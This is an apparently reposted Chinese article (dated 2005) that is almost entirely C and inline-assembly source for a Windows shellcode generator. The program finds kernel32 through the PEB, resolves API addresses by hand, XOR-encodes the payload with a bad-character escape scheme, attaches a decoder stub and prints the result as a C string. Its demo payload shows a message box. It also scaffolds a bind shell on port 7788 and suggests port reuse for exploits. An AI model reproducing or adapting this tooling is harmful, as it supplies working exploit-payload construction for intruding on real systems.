首页 电脑 电脑学堂 查看内容

使用C语言编写提取通用shellcode的程序

2005-1-23 07:29 661 0

摘要: 出处:internet修改:Hume/冷雨飘心测试:Win2K SP4 Local / Win2003 SP0 Local注释:我非我[F.S.T]说明:此程序可以用标准c语言string格式打印出你...
关键词: nbsp shellcode emit addr 地址 函数 define 字符串 API 长度

出处:internet修改:Hume/冷雨飘心测试:Win2K SP4 Local / Win2003 SP0 Local注释:我非我[F.S.T]说明:此程序可以用标准c语言string格式打印出你所在ShellCodes函数中编写的shellcode      用vc编译时请使用Release格式并取消优化设置,否则不能正常运行*/#include <windows.h>#include <stdio.h>#include <winioctl.h>#define  DEBUG 1  //定义为调试模式。本地测试用。打印shellcode后立即执行shellcode////函数原型//void     DecryptSc();  //shellcode解码函数,使用的是xor法加微调法void     ShellCodes();  //shellcode的函数,因为使用了动态搜索API地址。所以所有WINNT系统通杀void     PrintSc(char *lpBuff, int buffsize);  //PrintSc函数用标准c格式打印////用到的部分定义//#define  BEGINSTRLEN    0x08    //开始字符串长度#define  ENDSTRLEN      0x08    //结束标记字符的长度#define  nop_CODE       0x90    //填充字符,用于不确定shellcode入口用#define  nop_LEN        0x0     //ShellCode起始的填充长度,真正shellcode的入口#define  BUFFSIZE       0x20000 //输出缓冲区大小#define  sc_PORT        7788    //绑定端口号 0x1e6c#define  sc_BUFFSIZE    0x2000  //ShellCode缓冲区大小#define  Enc_key        0x7A    //编码密钥#define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?#define  MAX_Sc_Len     0x2000  //hellCode的最大长度 8192足够?#define  MAX_api_strlen 0x400   //APIstr字符串的长度#define  API_endstr     "strend"//API结尾标记字符串    #define  API_endstrlen  0x06    //标记字符串长度//定义函数开始字符,定位用#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90#define PROC_END PROC_BEGIN//---------------------------------------------------enum{       //Kernel32中的函数名定义,用于编写自定义的shellcode。下同            _CreatePipe,            _CreateProcessA,            _CloseHandle,            _PeekNamedPipe,            _ReadFile,            _WriteFile,            _ExitProcess,            //WS2_32            _WSAStartup, _WSASocket _socket,            _bind,            _listen,            _accept,            _send,            _recv,            _ioctlsocket,            _closesocket,            //本机测试User32            _MessageBeep,            _MessageBoxA,            API_num};////代码这里开始//int __cdecl main(int argc, char **argv){  //shellcode中要用到的字符串  static char ApiStr[]="\x1e\x6c"   //端口地址7788            //Kernel32中查找的API函数名称,用来查找函数地址,下同            "CreatePipe""\x0"            "CreateProcessA""\x0"            "CloseHandle""\x0"            "PeekNamedPipe""\x0"            "ReadFile""\x0"            "WriteFile""\x0"            "ExitProcess""\x0"            //其它API中用到的API            "wsock32.dll""\x0"            "socket""\x0"            "bind""\x0"            "listen""\x0"            "accept""\x0"            "send""\x0"            "recv""\x0"            "ioctlsocket""\x0"            "closesocket""\x0"            //本机测试            "user32.dll""\x0"            "MessageBeep""\x0"            "MessageBoxA""\x0"            "\x0\x0\x0\x0\x0"            "strend";  char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串  char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串  char  buff[BUFFSIZE];         //缓冲区  char  sc_buff[sc_BUFFSIZE];   //ShellCodes缓冲  char  *pDcrypt_addr,        *pSc_addr;  int   buff_len;               //缓冲长度  int   EncCode_len;            //加密编码代码长度  int   Sc_len;                 //原始ShellCode的长度  int       i,k;  unsigned  char ch;  //  //获得DecryptSc()地址,解码函数的地址,然后搜索MAX_Enc_Len字节,查找标记开始的字符串  //获得真正的解码汇编代码的开始地址,MAX_Enc_Len定义为1024字节一般这已经足够了,然后将这  //部分代码拷贝入待输出ShellCode的缓冲区准备进一步处理  //  pDcrypt_addr=(char *)DecryptSc;  //定位其实际地址,因为在用Visual Studio生成调试版本调试的情况下,编译器会生成跳转表,  //从跳转表中要计算得出函数实际所在的地址,这只是为了方便用VC调试  ch=*pDcrypt_addr;  if (ch==0xe9)  {      pDcrypt_addr++;      i=*(int *)pDcrypt_addr;      pDcrypt_addr+=(i+4);      //此时指向DecryptSc函数的实际地址  }  //找到解码代码的开始部分  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;  if (k<MAX_Enc_Len) pDcrypt_addr+=(k+8);   //如找到定位实际代码的开始  else   {      //显示错误信息      k=0;      printf("\nNo Begin str defined in Decrypt function!Please Check before go on...\n");      return 0;  }  for(k=0;k<MAX_Enc_Len;++k) if(memcmp(pDcrypt_addr+k,fnend_str,ENDSTRLEN)==0) break;  if (k<MAX_Enc_Len) EncCode_len=k;  else   {      k=0;      printf("\nNo End str defined in Decrypt function!Please Check....\n");      return 0;  }  memset(buff,nop_CODE,BUFFSIZE);                       //缓冲区填充  memcpy(buff+nop_LEN,pDcrypt_addr,EncCode_len);        //把DecryptSc代码复制进buff  //  //处理ShellCode代码,如果需要定位到代码的开始  //  pSc_addr=(char *)ShellCodes;     //定位shellcode的地址  //调试状态下的函数地址处理,便于调试  ch=*pSc_addr;  if (ch==0xe9)  {      pSc_addr++;      i=*(int *)pSc_addr;      pSc_addr+=(i+4);      //此时指向ShellCodes函数的实际地址  }  //如果需要定位到实际ShellCodes()的开始,这个版本中是不需要的  /*  for (k=0;k<MAX_Sc_Len ;++k ) if(memcmp(pSc_addr+k,fnbgn_str,BEGINSTRLEN)==0) break;  if (k<MAX_Enc_Len) pSc_addr+=(k+8);   //如找到定位实际代码的开始  */  //找到shellcode的结尾及长度  for(k=0;k<MAX_Sc_Len;++k) if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break;  if (k<MAX_Sc_Len) Sc_len=k;  else   {      k=0;      printf("\nNo End str defined in ShellCodes function!Please Check....\n");      return 0;  }  //把shellcode代码复制进sc_buff  memcpy(sc_buff,pSc_addr,Sc_len);  //把字符串拷贝在shellcode的结尾  for(i=0;i<MAX_api_strlen;++i) if(memcmp(ApiStr+i,"strend",API_endstrlen)==0) break;  if(i>=MAX_api_strlen)  {      printf("\nNo End str defined in API strings!Please Check....\n");      return 0;  }  memcpy(sc_buff+k,ApiStr,i);  Sc_len+=i;        //增加shellcode的长度  //  //对shellcode进行编码,算法简单,可根据需要改变  //  k=EncCode_len+nop_LEN;    //定位缓冲区应存放ShellCode地址的开始  for(i=0;i<Sc_len;++i){     ch=sc_buff[i]^Enc_key;     //对一些可能造成shellcode失效的字符进行替换,即微调法     if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+')     {        buff[k]='0';        ++k;        ch+=0x31;     }     //把编码过的shellcode放在DecryptSc代码后面     buff[k]=ch;     ++k;  }  //shellcode的总长度  buff_len=k;  //打印出shellcode  PrintSc(buff,buff_len);  //buff[buff_len]=0;  //printf("%s",buff);#ifdef DEBUG  _asm{      lea eax,buff      jmp eax      ret  }#endif    return  0;}//解码shellcode的代码void  DecryptSc(){       __asm{///////////////////////////定义开始标志/////////////////////////          PROC_BEGIN    //C macro to begin proc          jmp   nextgetEncCodeAddr:          pop   edi          push  edi          pop   esi          xor   ecx,ecxDecrypt_lop:           lodsb          cmp  al,cl          jz   shell          cmp  al,0x30  //判断是否为特殊字符          jz   special_char_clean  //是则跳到special_char_clean store:                xor  al,Enc_key          stosb          jmp  Decrypt_lopspecial_char_clean:   //进行微调替换          lodsb          sub al,0x31          jmp storenext:               call  getEncCodeAddr          //其余真正加密的shellcode代码会连接在此处shell:    ///////////////////////////定义结束标志/////////////////////////          PROC_END      //C macro to end proc          }}         ////shellcode代码//void ShellCodes(){    //API低址数组        FARPROC     API[API_num];    //自己获取的API地址    FARPROC     GetProcAddr;    FARPROC    LoadLib;    HANDLE      hKrnl32;    HANDLE      libhandle;    char        *ApiStr_addr,*p;        int         k;    u_short     shellcodeport;    ////////////测试用变量    char        *testAddr;    ////////////////////////这里是网络函数的变量定义,实际编写shellcode时可以使用。/*    STARTUPINFO siinfo; WSADATA     ws;    SOCKET      listenFD,clientFD;    struct      sockaddr_in server; server.sin_family = AF_INET; server.sin_port = htons(sc_PORT); server.sin_addr.s_addr=ADDR_ANY;    int         iAddrSize = sizeof(server);    int         lBytesRead;    PROCESS_INFORMATION ProcessInformation;    HANDLE      hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2;    SECURITY_ATTRIBUTES sa;*/_asm {        jmp    locate_addr0getApiStr_addr:        pop    ApiStr_addr        //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址        //以后就可以方便地获取任何API的地址了        //保护寄存器        pushad    xor     esi,esi        lods    dword ptr fs:[esi]        Search_Krnl32_lop:      //搜索kernel32基址        inc     eax        je      Krnl32_Base_Ok        dec     eax        xchg    esi,eax        LODSD          jmp     Search_Krnl32_lopKrnl32_Base_Ok:        LODSD                                                   ;compare if PE_hdr        xchg    esi,eax    find_pe_header:        dec     esi        xor     si,si           ;kernel32 is 64kb align        mov     eax,[esi]        add     ax,-'ZM'        ;               jne     find_pe_header        mov     edi,[esi+3ch]   ;.e_lfanew                mov     eax,[esi+edi]        add     eax,-'EP'       ;anti heuristic change this if you are using MASM etc.             jne     find_pe_header                  push     esi                                ;esi=VA Kernel32.BASE                                ;edi=RVA K32.pehdr                mov     ebx,esi        mov     edi,[ebx+edi+78h]  ;peh.DataDirectory                push    edi        push    esi        mov     eax,[ebx+edi+20h]  ;peexc.AddressOfNames                         mov     edx,[ebx+edi+24h]  ;peexc.AddressOfNameOrdinals              call    __getProcAddr        _emit 0x47        _emit 0x65        _emit 0x74        _emit 0x50        _emit 0x72        _emit 0x6F        _emit 0x63        _emit 0x41        _emit 0x64        _emit 0x64        _emit 0x72        _emit 0x65        _emit 0x73        _emit 0x73        _emit 0x0        //db     "GetProcAddress",0__getProcAddr:        pop     edi        mov     ecx,15                sub     eax,4next_:                add     eax,4        add     edi,ecx        sub     edi,15        mov     esi,[ebx+eax]        add     esi,ebx        mov     ecx,15        repz    cmpsb        jnz     next_        pop     esi        pop     edi        sub     eax,[ebx+edi+20h]      ;peexc.AddressOfNames        shr     eax,1        add     edx,ebx        movzx   eax,word ptr [edx+eax]                add     esi,[ebx+edi+1ch]       ;peexc.AddressOfFunctions        add     ebx,[esi+eax*4]         ;ebx=Kernel32.GetProcAddress.addr                                        ;用GetProcAddress和hModule来得到其他函数的地址        pop     esi                     ;esi=kernel32 Base        mov     [hKrnl32],esi           //保存        mov     [GetProcAddr],ebx       //保存        call    _getLoadLib        _emit 0x4C        _emit 0x6F        _emit 0x61        _emit 0x64        _emit 0x4C        _emit 0x69        _emit 0x62        _emit 0x72        _emit 0x61        _emit 0x72        _emit 0x79        _emit 0x41        _emit 0x0        //db      "LoadLibraryA",0        _getLoadLib:        push    esi        call    ebx        mov     [LoadLib],eax        //恢复寄存器,避免更多问题        popad    }   //取出定义的端口地址   shellcodeport=*(u_short *)ApiStr_addr;   ApiStr_addr+=2;      //////////////////////////测试用地址    testAddr=ApiStr_addr;   ////////////////////////////////////   //利用GetProcAddress来获得shellcode中所用到的API地址   libhandle=hKrnl32;   p=ApiStr_addr;   k=0;   ///*   while ( *((unsigned int *)p) != 0)   {       ApiStr_addr=p;       while(*p) p++;   //前进到下一个字符串       if (*( (unsigned int *)(p-4))=='lld.')       {           libhandle=(HANDLE)LoadLib(ApiStr_addr);  //若为DLL则加载DLL       }       else       {           API[k]=(FARPROC)GetProcAddr(libhandle,ApiStr_addr);           k++;       }              ApiStr_addr=++p; //更新指针前进一个字符位置          }      //*//////////////////////////////////////////////////////////////////////////////         下面就可以使用C语言来编写真正实现功能的shellcode了            /////////////////////////////////////////////////////////////////////////////////简单测试几个API看是否复合要求,只是弹出一个对话框//这里的函数调用是通过 API[enum](argv); 调用的。这里的enum是指开头定义的枚举//你可以自己替换以下的代码。推荐使用端口复用然后让你的exp主动连接。//API[_MessageBeep](0x10);API[_MessageBoxA](0,testAddr,0,0x40);API[_ExitProcess](0);/////////////////////////////////////////////////////////////////////////////                           shellcode功能部分结束                       ///////////////////////////////////////////////////////////////////////////////死循环die:       goto die;__asm    {locate_addr0:             call getApiStr_addr      //5 bytes//真正的字符串数据要连接在此处    ///////////////////////////定义结束标志/////////////////////////          PROC_END      //C macro to end proc            }}////显示打印生成的shellcode的标准C格式代码//void PrintSc(char *lpBuff, int buffsize){    int i,j;    char *p;    char msg[4];    for(i=0;i<buffsize;i++)    {        if((i%16)==0)            if(i!=0)                printf("\"\n\"");            else                printf("\"");        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);        for( p = msg, j=0; j < 4; p++, j++ )        {            if(isupper(*p))                printf("%c", _tolower(*p));            else                printf("%c", p[0]);        }    }    printf("\";\n/*Shell total are %d bytes */\n",buffsize);}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部